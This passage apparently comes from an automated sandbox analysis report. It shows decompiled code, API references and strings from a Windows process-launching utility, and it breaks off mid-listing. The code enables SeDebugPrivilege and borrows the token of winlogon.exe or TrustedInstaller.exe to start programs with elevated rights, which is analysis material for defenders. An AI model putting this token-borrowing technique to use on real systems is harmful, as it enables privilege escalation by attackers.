				int _t286;
				void* _t292;
				void* _t304;
				WCHAR* _t308;
				WCHAR* _t310;
				intOrPtr* _t311;
				int _t312;
				WCHAR* _t315;
				void* _t325;
				void* _t328;

				_t304 = __edx;
				E0040B550(0x1473c, __ecx);
				_t286 = 0;
				 *_a4 = 0;
				_v12 = 0;
				_v16 = 0;
				_v20 = 0;
				memset( &_v192, 0, 0x40);
				_v60 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v24 = 0;
				_v40 = 0;
				_v28 = 0;
				_v36 = 0;
				_v32 = 0x100;
				_v44 = 0;
				_v1316 = 0;
				memset( &_v1314, 0, 0x208);
				_v788 = 0;
				memset( &_v786, 0, 0x208);
				_t315 = _a8;
				_t328 = _t325 + 0x24;
				_v83772 = 0;
				_v196 = 0x44;
				E00404923(0x104,  &_v788, _t315);
				if(wcschr(_t315, 0x25) != 0) {
					ExpandEnvironmentStringsW(_t315,  &_v788, 0x104);
				}
				if(_t315[0x2668] != _t286 && wcschr( &_v788, 0x5c) == 0) {
					_v8 = _t286;
					_v1844 = _t286;
					memset( &_v1842, _t286, 0x208);
					_t328 = _t328 + 0xc;
					SearchPathW(_t286,  &_v788, _t286, 0x104,  &_v1844,  &_v8);
					if(_v1844 != _t286) {
						E00404923(0x104,  &_v788,  &_v1844);
					}
				}
				_t308 =  &(_t315[0x2106]);
				if( *_t308 == _t286) {
					E00404B5C( &_v1316,  &_v788);
					__eflags = _v1316 - _t286;
					_t315 = _a8;
					_pop(_t292);
					if(_v1316 == _t286) {
						goto L11;
					}
					goto L10;
				} else {
					_v20 = _t308;
					_t270 = wcschr(_t308, 0x25);
					_pop(_t292);
					if(_t270 == 0) {
						L11:
						_t174 =  &(_t315[0x220e]);
						if( *_t174 != 1) {
							_v152 = _v152 | 0x00000001;
							_v148 =  *_t174;
						}
						_t309 = ",";
						if(_t315[0x2210] != _t286 && _t315[0x2212] != _t286) {
							_v260 = _t286;
							memset( &_v258, _t286, 0x3e);
							_v124 = _t286;
							memset( &_v122, _t286, 0x3e);
							_v8 = _t286;
							E004052F3( &(_t315[0x2212]), _t292,  &_v260, 0x1f,  &_v8, ",");
							E004052F3( &(_t315[0x2212]), _t292,  &_v124, 0x1f,  &_v8, ",");
							_v152 = _v152 | 0x00000004;
							_t266 =  &_v260;
							_push(_t266);
							L0040B1F8();
							_v180 = _t266;
							_t328 = _t328 + 0x3c;
							_t267 =  &_v124;
							L0040B1F8();
							_t292 = _t267;
							_v176 = _t267;
						}
						if(_t315[0x2232] != _t286 && _t315[0x2234] != _t286) {
							_v260 = _t286;
							memset( &_v258, _t286, 0x3e);
							_v124 = _t286;
							memset( &_v122, _t286, 0x3e);
							_v8 = _t286;
							E004052F3( &(_t315[0x2234]), _t292,  &_v260, 0x1f,  &_v8, _t309);
							E004052F3( &(_t315[0x2234]), _t292,  &_v124, 0x1f,  &_v8, _t309);
							_v152 = _v152 | 0x00000002;
							_t252 =  &_v260;
							_push(_t252);
							L0040B1F8();
							_v172 = _t252;
							_t328 = _t328 + 0x3c;
							_t253 =  &_v124;
							_push(_t253);
							L0040B1F8();
							_v168 = _t253;
						}
						_t310 =  &(_t315[0x105]);
						if( *_t310 != _t286) {
							if(_t315[0x266a] == _t286 || wcschr(_t310, 0x25) == 0) {
								_push(_t310);
							} else {
								_v18236 = _t286;
								memset( &_v18234, _t286, 0x4000);
								_t328 = _t328 + 0xc;
								ExpandEnvironmentStringsW(_t310,  &_v18236, 0x2000);
								_push( &_v18236);
							}
							_push( &_v788);
							_push(L"\"%s\" %s");
							_push(0x7fff);
							_push( &_v83772);
							L0040B1EC();
							_v24 =  &_v83772;
						}
						_t175 = _t315[0x220c];
						if(_t175 != 0x20) {
							_v12 = _t175;
						}
						_t311 = _a4;
						if(_t315[0x2254] == 2) {
							E00401D1E(_t311, L"RunAsInvoker");
						}
						_t176 = _t315[0x265c];
						if(_t176 != _t286 && _t176 - 1 <= 0xc) {
							E00401D1E(_t311,  *((intOrPtr*)(0x40f2a0 + _t176 * 4)));
						}
						_t177 = _t315[0x265e];
						if(_t177 != 1) {
							__eflags = _t177 - 2;
							if(_t177 != 2) {
								goto L37;
							}
							_push(L"16BITCOLOR");
							goto L36;
						} else {
							_push(L"256COLOR");
							L36:
							E00401D1E(_t311);
							L37:
							if(_t315[0x2660] == _t286) {
								__eflags = _t315[0x2662] - _t286;
								if(_t315[0x2662] == _t286) {
									__eflags = _t315[0x2664] - _t286;
									if(_t315[0x2664] == _t286) {
										__eflags = _t315[0x2666] - _t286;
										if(_t315[0x2666] == _t286) {
											L46:
											_t178 = _t315[0x2a6e];
											_t358 = _t178 - 3;
											if(_t178 != 3) {
												__eflags = _t178 - 2;
												if(_t178 != 2) {
													__eflags =  *_t311 - _t286;
													if( *_t311 == _t286) {
														_push(_t286);
													} else {
														_push(_t311);
													}
													SetEnvironmentVariableW(L"__COMPAT_LAYER", ??);
													L63:
													_t293 = _t311;
													_t184 = E00401FE6(_t315, _t311, _t304,  &_v788, _v24, _v12, _v16, _v20,  &_v196,  &_v60); // executed
													_t312 = _t184;
													if(_t312 == _t286 && _v60 != _t286) {
														_t363 = _t315[0x266c] - _t286;
														if(_t315[0x266c] != _t286) {
															_t187 = E00401A3F(_t293, _t363,  &(_t315[0x266e]));
															_a4 = _a4 | 0xffffffff;
															_a8 = _t286;
															GetProcessAffinityMask(_v60,  &_a8,  &_a4);
															_t184 = SetProcessAffinityMask(_v60, _a4 & _t187);
														}
													}
													E004055D1(_t184,  &_v44);
													return _t312;
												}
												E00405497( &_v92);
												E00405497( &_v228);
												E0040149F(__eflags,  &_v92);
												E0040135C(E004055EC( &(_t315[0x2a70])), __eflags,  &_v228);
												E00401551( &_v228, _t304, __eflags,  &_v92);
												_t204 = _a4;
												__eflags =  *_a4;
												if(__eflags != 0) {
													E004014E9( &_v92, _t304, __eflags,  &_v92, _t204);
												}
												E00401421( &_v44, _t304,  &_v92, __eflags);
												_t207 = _v28;
												__eflags = _t207;
												_v16 = 0x40c4e8;
												if(_t207 != 0) {
													_v16 = _t207;
												}
												_v12 = _v12 | 0x00000400;
												E004054B9( &_v228);
												E004054B9( &_v92);
												_t286 = 0;
												__eflags = 0;
												L58:
												_t315 = _a8;
												_t311 = _a4;
												goto L63;
											}
											E00405497( &_v92);
											E0040135C(E004055EC( &(_t315[0x2a70])), _t358,  &_v92);
											_t359 =  *_t311 - _t286;
											if( *_t311 != _t286) {
												E004014E9( &_v92, _t304, _t359,  &_v92, _t311);
											}
											E00401421( &_v44, _t304,  &_v92, _t359);
											_t219 = _v28;
											_v16 = 0x40c4e8;
											if(_t219 != _t286) {
												_v16 = _t219;
											}
											_v12 = _v12 | 0x00000400;
											E004054B9( &_v92);
											goto L58;
										}
										_push(L"HIGHDPIAWARE");
										L45:
										E00401D1E(_t311);
										goto L46;
									}
									_push(L"DISABLEDWM");
									goto L45;
								}
								_push(L"DISABLETHEMES");
								goto L45;
							}
							_push(L"640X480");
							goto L45;
						}
					}
					ExpandEnvironmentStringsW(_t308,  &_v1316, 0x104);
					L10:
					_v20 =  &_v1316;
					goto L11;
				}
			}

0x004022d5
0x004022dd
0x004022e7
0x004022ec
0x004022f7
0x004022fa
0x004022fd
0x00402300
0x00402307
0x0040230d
0x0040230e
0x00402318
0x00402321
0x00402324
0x00402327
0x0040232a
0x0040232d
0x00402334
0x00402337
0x0040233e
0x0040234f
0x00402356
0x0040235b
0x0040235e
0x0040236d
0x00402374
0x0040237e
0x00402395
0x004023a0
0x004023a0
0x004023ac
0x004023cf
0x004023d2
0x004023d9
0x004023de
0x004023f6
0x00402403
0x00402414
0x00402419
0x00402403
0x0040241a
0x00402423
0x00402458
0x0040245d
0x00402464
0x00402467
0x00402468
0x00000000
0x00000000
0x00000000
0x00402425
0x00402428
0x0040242b
0x00402433
0x00402434
0x00402473
0x00402473
0x0040247c
0x00402481
0x00402488
0x00402488
0x00402495
0x0040249a
0x004024b7
0x004024be
0x004024cd
0x004024d1
0x004024ed
0x004024f0
0x00402506
0x0040250b
0x00402512
0x00402518
0x00402519
0x0040251e
0x00402524
0x00402527
0x0040252b
0x00402530
0x00402531
0x00402531
0x0040253d
0x0040255a
0x00402561
0x00402570
0x00402574
0x00402590
0x00402593
0x004025a9
0x004025ae
0x004025b5
0x004025bb
0x004025bc
0x004025c1
0x004025c7
0x004025ca
0x004025cd
0x004025ce
0x004025d4
0x004025d4
0x004025da
0x004025e3
0x004025eb
0x00402633
0x004025fb
0x00402608
0x0040260f
0x00402614
0x00402624
0x00402630
0x00402630
0x0040263a
0x0040263b
0x00402646
0x0040264b
0x0040264c
0x0040265a
0x0040265a
0x0040265d
0x00402666
0x00402668
0x00402668
0x00402672
0x00402675
0x0040267e
0x0040267e
0x00402683
0x0040268b
0x0040269e
0x0040269e
0x004026a3
0x004026ac
0x004026b5
0x004026b8
0x00000000
0x00000000
0x004026ba
0x00000000
0x004026ae
0x004026ae
0x004026bf
0x004026c1
0x004026c6
0x004026cc
0x004026d5
0x004026db
0x004026e4
0x004026ea
0x004026f3
0x004026f9
0x00402707
0x00402707
0x0040270d
0x00402710
0x0040276d
0x00402770
0x0040280b
0x0040280e
0x00402813
0x00402810
0x00402810
0x00402810
0x00402819
0x0040281f
0x00402836
0x00402841
0x00402846
0x0040284a
0x00402851
0x00402857
0x00402860
0x00402865
0x00402876
0x00402879
0x00402888
0x00402888
0x00402857
0x00402891
0x0040289c
0x0040289c
0x00402779
0x00402784
0x0040278d
0x004027a4
0x004027b3
0x004027b8
0x004027bb
0x004027bf
0x004027c6
0x004027c6
0x004027d1
0x004027d6
0x004027d9
0x004027db
0x004027e2
0x004027e4
0x004027e4
0x004027e7
0x004027f4
0x004027fc
0x00402801
0x00402801
0x00402803
0x00402803
0x00402806
0x00000000
0x00402806
0x00402715
0x00402729
0x0040272e
0x00402731
0x00402738
0x00402738
0x00402743
0x00402748
0x0040274d
0x00402754
0x00402756
0x00402756
0x00402759
0x00402763
0x00000000
0x00402763
0x004026fb
0x00402700
0x00402702
0x00000000
0x00402702
0x004026ec
0x00000000
0x004026ec
0x004026dd
0x00000000
0x004026dd
0x004026ce
0x00000000
0x004026ce
0x004026ac
0x00402443
0x0040246a
0x00402470
0x00000000
0x00402470

APIs

memset.MSVCRT ref: 00402300
memset.MSVCRT ref: 0040233E
memset.MSVCRT ref: 00402356

Part of subcall function 00404923: wcslen.MSVCRT ref: 0040492A
Part of subcall function 00404923: memcpy.MSVCRT ref: 00404940

wcschr.MSVCRT ref: 00402387
ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 004023A0

Part of subcall function 00404B5C: wcscpy.MSVCRT ref: 00404B61
Part of subcall function 00404B5C: wcsrchr.MSVCRT ref: 00404B69

wcschr.MSVCRT ref: 004023B7
memset.MSVCRT ref: 004023D9
SearchPathW.KERNEL32(00000000,?,00000000,00000104,?,?,?,?,?,?,?,?,?,?,00000208), ref: 004023F6
wcschr.MSVCRT ref: 0040242B
ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 00402443
memset.MSVCRT ref: 004024BE
memset.MSVCRT ref: 004024D1
_wtoi.MSVCRT ref: 00402519
_wtoi.MSVCRT ref: 0040252B
memset.MSVCRT ref: 00402561
memset.MSVCRT ref: 00402574
_wtoi.MSVCRT ref: 004025BC
_wtoi.MSVCRT ref: 004025CE
wcschr.MSVCRT ref: 004025F0
memset.MSVCRT ref: 0040260F
ExpandEnvironmentStringsW.KERNEL32(?,?,00002000,?,?,?,?,?,?,?,?,00000208), ref: 00402624
_snwprintf.MSVCRT ref: 0040264C
SetEnvironmentVariableW.KERNEL32(__COMPAT_LAYER,00000000), ref: 00402819
GetProcessAffinityMask.KERNEL32 ref: 00402879
SetProcessAffinityMask.KERNEL32 ref: 00402888

Strings

640X480, xrefs: 004026CE
"%s" %s, xrefs: 0040263B
DISABLETHEMES, xrefs: 004026DD
HIGHDPIAWARE, xrefs: 004026FB
RunAsInvoker, xrefs: 00402677
__COMPAT_LAYER, xrefs: 00402814
DISABLEDWM, xrefs: 004026EC
D, xrefs: 00402374
256COLOR, xrefs: 004026AE
16BITCOLOR, xrefs: 004026BA

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$Environment_wtoiwcschr$ExpandStrings$AffinityMaskProcess$PathSearchVariable_snwprintfmemcpywcscpywcslenwcsrchr
String ID: "%s" %s$16BITCOLOR$256COLOR$640X480$D$DISABLEDWM$DISABLETHEMES$HIGHDPIAWARE$RunAsInvoker$__COMPAT_LAYER
API String ID: 2452314994-435178042
Opcode ID: 067d403336562cb18e4ef95dc35e81972e5343f3ed9e099bed5cf17b41ec62b0
Instruction ID: b54a7db1e05dda42e7bfc3830e2036fe484084dd7c1f23c6c807eede0ded9d8d
Opcode Fuzzy Hash: 067d403336562cb18e4ef95dc35e81972e5343f3ed9e099bed5cf17b41ec62b0
Instruction Fuzzy Hash: 03F14F72900218AADB20EFA5CD85ADEB7B8EF04304F1045BBE619B71D1D7789A84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00408533, Relevance: 40.5, APIs: 15, Strings: 8, Instructions: 259
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E00408533(void* __ecx, void* __edx, void* __eflags, char _a8, intOrPtr _a12, char _a32, WCHAR* _a40, WCHAR* _a44, intOrPtr _a48, WCHAR* _a52, WCHAR* _a56, char _a60, int _a64, char* _a68, int _a72, char _a76, int _a80, char* _a84, int _a88, long _a92, void _a94, long _a620, void _a622, char _a1132, char _a1148, WCHAR* _a3196, WCHAR* _a3200, WCHAR* _a3204, WCHAR* _a3208, void* _a3212, char _a3216, int _a5264, int _a5268, int _a5272, int _a5276, int _a5280, char _a5288, char _a5292, int _a7340, int _a7344, int _a7348, int _a7352, int _a7356) {
				char _v0;
				WCHAR* _v4;
				void* __edi;
				void* __esi;
				void* _t76;
				void* _t82;
				wchar_t* _t85;
				void* _t86;
				void* _t87;
				intOrPtr _t92;
				wchar_t* _t93;
				intOrPtr _t95;
				int _t106;
				char* _t110;
				intOrPtr _t115;
				wchar_t* _t117;
				intOrPtr _t124;
				wchar_t* _t125;
				intOrPtr _t131;
				wchar_t* _t132;
				int _t156;
				void* _t159;
				intOrPtr _t162;
				void* _t177;
				void* _t178;
				void* _t179;
				intOrPtr _t181;
				int _t187;
				intOrPtr _t188;
				intOrPtr _t190;
				intOrPtr _t198;
				signed int _t205;
				signed int _t206;

				_t179 = __edx;
				_t158 = __ecx;
				_t206 = _t205 & 0xfffffff8;
				E0040B550(0x1ccc, __ecx);
				_t76 = E0040313D(_t158);
				if(_t76 != 0) {
					E0040AC52();
					SetErrorMode(0x8001); // executed
					_t156 = 0;
					 *0x40fa70 = 0x11223344;
					EnumResourceTypesW(GetModuleHandleW(0), E0040A3C1, 0); // executed
					_t82 = E00405497( &_a8);
					_a48 = 0x20;
					_a40 = 0;
					_a52 = 0;
					_a44 = 0;
					_a56 = 0;
					E004056B5(_t158, __eflags, _t82, _a12);
					E00408F48(_t158, __eflags, L"SeDebugPrivilege"); // executed
					 *_t206 = L"/SpecialRun";
					_t85 = E0040585C( &_v0);
					__eflags = _t85;
					if(_t85 != 0) {
						L8:
						_t86 = E0040585C( &_a8, L"/Run");
						__eflags = _t86 - _t156;
						if(_t86 < _t156) {
							_t87 = E0040585C( &_a8, L"/cfg");
							__eflags = _t87 - _t156;
							if(_t87 >= _t156) {
								_t162 =  *0x40fa74; // 0x4101c8
								_t41 = _t87 + 1; // 0x1
								ExpandEnvironmentStringsW(E0040584C( &_a8, _t41), _t162 + 0x5504, 0x104);
								_t115 =  *0x40fa74; // 0x4101c8
								_t117 = wcschr(_t115 + 0x5504, 0x5c);
								__eflags = _t117;
								if(_t117 == 0) {
									_a92 = _t156;
									memset( &_a94, _t156, 0x208);
									_a620 = _t156;
									memset( &_a622, _t156, 0x208);
									GetCurrentDirectoryW(0x104,  &_a92);
									_t124 =  *0x40fa74; // 0x4101c8
									_t125 = _t124 + 0x5504;
									_v4 = _t125;
									_t187 = wcslen(_t125);
									_t51 = wcslen( &_a92) + 1; // 0x1
									__eflags = _t187 + _t51 - 0x104;
									if(_t187 + _t51 >= 0x104) {
										_a620 = _t156;
									} else {
										E00404BE4( &_a620,  &_a92, _v4);
									}
									_t131 =  *0x40fa74; // 0x4101c8
									_t132 = _t131 + 0x5504;
									__eflags = _t132;
									wcscpy(_t132,  &_a620);
								}
							}
							E00402F31(_t156);
							_t181 =  *0x40fa74; // 0x4101c8
							_pop(_t159);
							_a84 =  &_a8;
							_a76 = 0x40cb0c;
							_a88 = _t156;
							_a80 = _t156;
							E0040177C( &_a76, _t181 + 0x10, __eflags, _t156);
							_t92 =  *0x40fa74; // 0x4101c8
							__eflags =  *((intOrPtr*)(_t92 + 0x5710)) - _t156;
							if( *((intOrPtr*)(_t92 + 0x5710)) == _t156) {
								_t93 = E0040585C( &_a8, L"/savelangfile");
								__eflags = _t93;
								if(_t93 < 0) {
									E00406420();
									__imp__CoInitialize(_t156);
									_t95 =  *0x40fa74; // 0x4101c8
									E00408910(_t95 + 0x10, _t159, 0x416f60);
									 *((intOrPtr*)( *0x4158e0 + 8))(_t156);
									_t198 =  *0x40fa74; // 0x4101c8
									E00408910(0x416f60, 0x4158e0, _t198 + 0x10);
									E00402F31(1);
									__imp__CoUninitialize();
								} else {
									E004065BE(_t159);
								}
								goto L7;
							} else {
								_t64 = _t92 + 0x10; // 0x4101d8
								_a7356 = _t156;
								_a7352 = _t156;
								_a7340 = _t156;
								_a7344 = _t156;
								_a7348 = _t156;
								_t156 = E00401D40(_t179, _t64,  &_a5292);
								_t110 =  &_a5288;
								L6:
								E004035FB(_t110);
								L7:
								E004054B9( &_v0);
								E004099D4( &_a32);
								E004054B9( &_v0);
								_t106 = _t156;
								goto L2;
							}
						}
						_t26 = _t86 + 1; // 0x1
						_t173 = _t26;
						__eflags =  *((intOrPtr*)(E0040584C( &_a8, _t26))) - _t156;
						if(__eflags == 0) {
							E00402F31(_t156);
						} else {
							E00402FC6(_t173, __eflags, _t138);
						}
						_t188 =  *0x40fa74; // 0x4101c8
						_a68 =  &_a8;
						_a60 = 0x40cb0c;
						_a72 = _t156;
						_a64 = _t156;
						E0040177C( &_a60, _t188 + 0x10, __eflags, _t156);
						_t190 =  *0x40fa74; // 0x4101c8
						_a5280 = _t156;
						_a5276 = _t156;
						_a5264 = _t156;
						_a5268 = _t156;
						_a5272 = _t156;
						_t156 = E00401D40(_t179, _t190 + 0x10,  &_a3216);
						_t110 =  &_a3212;
						goto L6;
					}
					__eflags = _a56 - 3;
					if(_a56 != 3) {
						goto L8;
					}
					__eflags = 1;
					_a3212 = 0;
					_a3208 = 0;
					_a3196 = 0;
					_a3200 = 0;
					_a3204 = 0;
					_v4 = 0;
					_v0 = 0;
					swscanf(E0040584C( &_v0, 1), L"%I64x",  &_v4);
					_t177 = 2;
					_push(E0040584C( &_v0, _t177));
					L0040B1F8();
					_pop(_t178);
					_t156 = E00401AC9(_t178, _t179, __eflags,  &_a1148, _v4, _v0, _t152);
					_t110 =  &_a1132;
					goto L6;
				} else {
					_t106 = _t76 + 1;
					L2:
					return _t106;
				}
			}

0x00408533
0x00408533
0x00408536
0x0040853e
0x00408546
0x0040854d
0x00408559
0x00408563
0x00408569
0x00408572
0x00408583
0x0040858d
0x00408595
0x0040859e
0x004085a2
0x004085a6
0x004085aa
0x004085ae
0x004085b8
0x004085c1
0x004085c8
0x004085cd
0x004085cf
0x0040867f
0x00408688
0x0040868d
0x0040868f
0x00408730
0x00408735
0x00408737
0x0040873d
0x00408750
0x0040875d
0x00408763
0x00408770
0x00408775
0x00408779
0x0040878b
0x00408790
0x004087a2
0x004087aa
0x004087b8
0x004087be
0x004087c3
0x004087c9
0x004087d2
0x004087df
0x004087e3
0x004087e6
0x00408801
0x004087e8
0x004087f8
0x004087fe
0x00408811
0x00408816
0x00408816
0x0040881c
0x00408822
0x00408779
0x00408824
0x00408829
0x00408833
0x00408834
0x00408840
0x00408848
0x0040884c
0x00408850
0x00408855
0x0040885a
0x00408860
0x004088ac
0x004088b1
0x004088b3
0x004088bf
0x004088c5
0x004088cb
0x004088da
0x004088ea
0x004088ed
0x004088f8
0x004088ff
0x00408905
0x004088b5
0x004088b5
0x004088b5
0x00000000
0x00408862
0x00408862
0x0040886d
0x00408874
0x0040887b
0x00408882
0x00408889
0x00408895
0x00408897
0x00408658
0x00408658
0x0040865d
0x00408661
0x0040866a
0x00408673
0x00408678
0x00000000
0x00408678
0x00408860
0x00408695
0x00408695
0x0040869f
0x004086a2
0x004086af
0x004086a4
0x004086a7
0x004086a7
0x004086b4
0x004086bf
0x004086cb
0x004086d3
0x004086d7
0x004086db
0x004086e0
0x004086f1
0x004086f8
0x004086ff
0x00408706
0x0040870d
0x00408719
0x0040871b
0x00000000
0x0040871b
0x004085d5
0x004085da
0x00000000
0x00000000
0x004085ec
0x004085ef
0x004085f6
0x004085fd
0x00408604
0x0040860b
0x00408612
0x00408616
0x00408620
0x0040862a
0x00408632
0x00408633
0x00408638
0x0040864f
0x00408651
0x00000000
0x0040854f
0x0040854f
0x00408550
0x00408556
0x00408556

APIs

Part of subcall function 0040313D: LoadLibraryW.KERNEL32(comctl32.dll,00000000,?,00000002,?,?,?,0040854B,00000000,?,00000002,?,0040B45E,00000000,?,0000000A), ref: 0040315C
Part of subcall function 0040313D: GetProcAddress.KERNEL32(00000000,InitCommonControlsEx), ref: 0040316E
Part of subcall function 0040313D: FreeLibrary.KERNEL32(00000000,?,00000002,?,?,?,0040854B,00000000,?,00000002,?,0040B45E,00000000,?,0000000A), ref: 00403182
Part of subcall function 0040313D: MessageBoxW.USER32(00000001,Error: Cannot load the common control classes.,Error,00000030), ref: 004031AD

SetErrorMode.KERNELBASE(00008001,00000000,?,00000002,?,0040B45E,00000000,?,0000000A), ref: 00408563
GetModuleHandleW.KERNEL32(00000000,0040A3C1,00000000,?,00000002,?,0040B45E,00000000,?,0000000A), ref: 0040857C
EnumResourceTypesW.KERNEL32 ref: 00408583
swscanf.MSVCRT ref: 00408620
_wtoi.MSVCRT ref: 00408633

Strings

/Run, xrefs: 0040867F
/cfg, xrefs: 00408727
/savelangfile, xrefs: 004088A3
`oA, xrefs: 004088D0
%I64x, xrefs: 004085E7
, xrefs: 00408595
XA, xrefs: 004088E5
SeDebugPrivilege, xrefs: 004085B3

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Library$AddressEnumErrorFreeHandleLoadMessageModeModuleProcResourceTypes_wtoiswscanf
String ID: $%I64x$/Run$/cfg$/savelangfile$SeDebugPrivilege$`oA$XA
API String ID: 3933224404-3784219877
Opcode ID: 1ed12eb10884b9e827e0875f5387ef1e7972f3b4abe7ba30fea96de0eb1c323a
Instruction ID: 6a1ad454fb11d14b300c4ed281ce3bcdfe782ea4983c0409628bf6e0aeb57f2c
Opcode Fuzzy Hash: 1ed12eb10884b9e827e0875f5387ef1e7972f3b4abe7ba30fea96de0eb1c323a
Instruction Fuzzy Hash: 7FA16F71508340DBD720EF65DD8599BB7E8FB88308F50493FF588A3292DB3899098F5A

Uniqueness

Uniqueness Score: -1.00%

Function 00401FE6, Relevance: 31.7, APIs: 15, Strings: 3, Instructions: 243
processCOMMON

Download Yara Rule

C-Code - Quality: 81%

			E00401FE6(void* __eax, void* __ecx, void* __edx, WCHAR* _a4, WCHAR* _a8, long _a12, void* _a16, WCHAR* _a20, struct _STARTUPINFOW* _a24, struct _PROCESS_INFORMATION* _a28) {
				int _v8;
				long _v12;
				wchar_t* _v16;
				void _v546;
				long _v548;
				void _v1074;
				char _v1076;
				void* __esi;
				long _t84;
				int _t87;
				wchar_t* _t88;
				int _t92;
				void* _t93;
				int _t94;
				int _t96;
				int _t99;
				int _t104;
				long _t105;
				int _t110;
				void** _t112;
				int _t113;
				intOrPtr _t131;
				wchar_t* _t132;
				int* _t148;
				wchar_t* _t149;
				int _t151;
				void* _t152;
				void* _t153;
				int _t154;
				void* _t155;
				long _t160;

				_t145 = __edx;
				_t152 = __ecx;
				_t131 =  *((intOrPtr*)(__eax + 0x44a8));
				_v12 = 0;
				if(_t131 != 4) {
					__eflags = _t131 - 5;
					if(_t131 != 5) {
						__eflags = _t131 - 9;
						if(__eflags != 0) {
							__eflags = _t131 - 8;
							if(_t131 != 8) {
								__eflags = _t131 - 6;
								if(_t131 != 6) {
									__eflags = _t131 - 7;
									if(_t131 != 7) {
										__eflags = CreateProcessW(_a4, _a8, 0, 0, 0, _a12, _a16, _a20, _a24, _a28);
									} else {
										_t132 = __eax + 0x46b6;
										_t148 = __eax + 0x48b6;
										__eflags =  *_t148;
										_v16 = _t132;
										_v8 = __eax + 0x4ab6;
										if( *_t148 == 0) {
											_t88 = wcschr(_t132, 0x40);
											__eflags = _t88;
											if(_t88 != 0) {
												_t148 = 0;
												__eflags = 0;
											}
										}
										_t153 = _t152 + 0x800;
										E0040289F(_t153);
										_t154 =  *(_t153 + 0xc);
										__eflags = _t154;
										if(_t154 == 0) {
											_t87 = 0;
											__eflags = 0;
										} else {
											_t87 =  *_t154(_v16, _t148, _v8, 1, _a4, _a8, _a12, _a16, _a20, _a24, _a28);
										}
										__eflags = _t87;
									}
									if(__eflags == 0) {
										_t84 = GetLastError();
										L43:
										_v12 = _t84;
									}
									goto L44;
								}
								__eflags = E00401D99(__eax + 0x44ac, __edx);
								if(__eflags == 0) {
									goto L44;
								}
								_t92 = E0040A46C(_t131, __eflags,  &_a28, _t90, _a4, _a8, _a12, _a20, _a24, _a28);
								__eflags = _t92;
								if(_t92 != 0) {
									goto L44;
								}
								_t84 = _a28;
								goto L43;
							}
							_t93 = OpenSCManagerW(0, L"ServicesActive", 0x35); // executed
							__eflags = _t93;
							if(_t93 != 0) {
								E00401306(_t93); // executed
							}
							_v8 = 0;
							_t94 = E00401F04(_t145, _t152); // executed
							__eflags = _t94;
							_v12 = _t94;
							if(__eflags == 0) {
								_t96 = E00401DF9(_t145, __eflags, _t152, L"TrustedInstaller.exe",  &_v8); // executed
								__eflags = _t96;
								_v12 = _t96;
								if(_t96 == 0) {
									_t99 = E004028ED(_t152 + 0x800, _v8, _a4, _a8, _a12, _a16, _a20, _a24, _a28);
									__eflags = _t99;
									if(_t99 == 0) {
										_v12 = GetLastError();
									}
									CloseHandle(_v8); // executed
								}
								RevertToSelf(); // executed
							}
							goto L44;
						}
						_t104 = E0040598B(__edx, __eflags, __eax + 0x46b6);
						__eflags = _t104;
						if(_t104 == 0) {
							goto L44;
						}
						_v8 = 0;
						_t105 = E00401E44(_t152, _t104,  &_v8);
						goto L14;
					}
					_t149 = __eax + 0x44ac;
					_t110 = wcslen(_t149);
					__eflags = _t110;
					if(_t110 <= 0) {
						goto L44;
					} else {
						_v8 = 0;
						__eflags = E00404EA9(_t149, _t110);
						_t112 =  &_v8;
						_push(_t112);
						_push(_t149);
						if(__eflags == 0) {
							_push(_t152);
							_t113 = E00401DF9(_t145, __eflags);
						} else {
							L0040B1F8();
							_push(_t112);
							_push(_t152);
							_t113 = E00401E44();
						}
						_v12 = _t113;
						__eflags = _t113;
						goto L15;
					}
				} else {
					_v548 = 0;
					memset( &_v546, 0, 0x208);
					_v1076 = 0;
					memset( &_v1074, 0, 0x208);
					E00404C3C( &_v548);
					 *((intOrPtr*)(_t155 + 0x18)) = L"winlogon.exe";
					_t151 = wcslen(??);
					_t10 = wcslen( &_v548) + 1; // 0x1
					_t159 = _t151 + _t10 - 0x104;
					if(_t151 + _t10 >= 0x104) {
						_v1076 = 0;
					} else {
						E00404BE4( &_v1076,  &_v548, L"winlogon.exe");
					}
					_v8 = 0;
					_t105 = E00401DF9(_t145, _t159, _t152,  &_v1076,  &_v8);
					L14:
					_t160 = _t105;
					_v12 = _t105;
					L15:
					if(_t160 == 0) {
						if(E004028ED(_t152 + 0x800, _v8, _a4, _a8, _a12, _a16, _a20, _a24, _a28) == 0) {
							_v12 = GetLastError();
						}
						CloseHandle(_v8);
					}
					L44:
					return _v12;
				}
			}

0x00401fe6
0x00401ff1
0x00401ff3
0x00401fff
0x00402002
0x004020a8
0x004020ab
0x004020f3
0x004020f6
0x00402162
0x00402165
0x004021f2
0x004021f5
0x00402235
0x00402238
0x004022be
0x0040223a
0x0040223a
0x00402240
0x0040224b
0x0040224e
0x00402251
0x00402254
0x00402259
0x0040225e
0x00402262
0x00402264
0x00402264
0x00402264
0x00402262
0x00402266
0x0040226c
0x00402271
0x00402274
0x00402276
0x0040229a
0x0040229a
0x00402278
0x00402296
0x00402296
0x0040229c
0x0040229c
0x004022c0
0x004022c2
0x004022c8
0x004022c8
0x004022c8
0x00000000
0x004022c0
0x00402201
0x00402203
0x00000000
0x00000000
0x00402220
0x00402225
0x00402227
0x00000000
0x00000000
0x0040222d
0x00000000
0x0040222d
0x00402173
0x00402179
0x0040217b
0x0040217e
0x00402183
0x00402185
0x00402188
0x0040218d
0x0040218f
0x00402192
0x004021a2
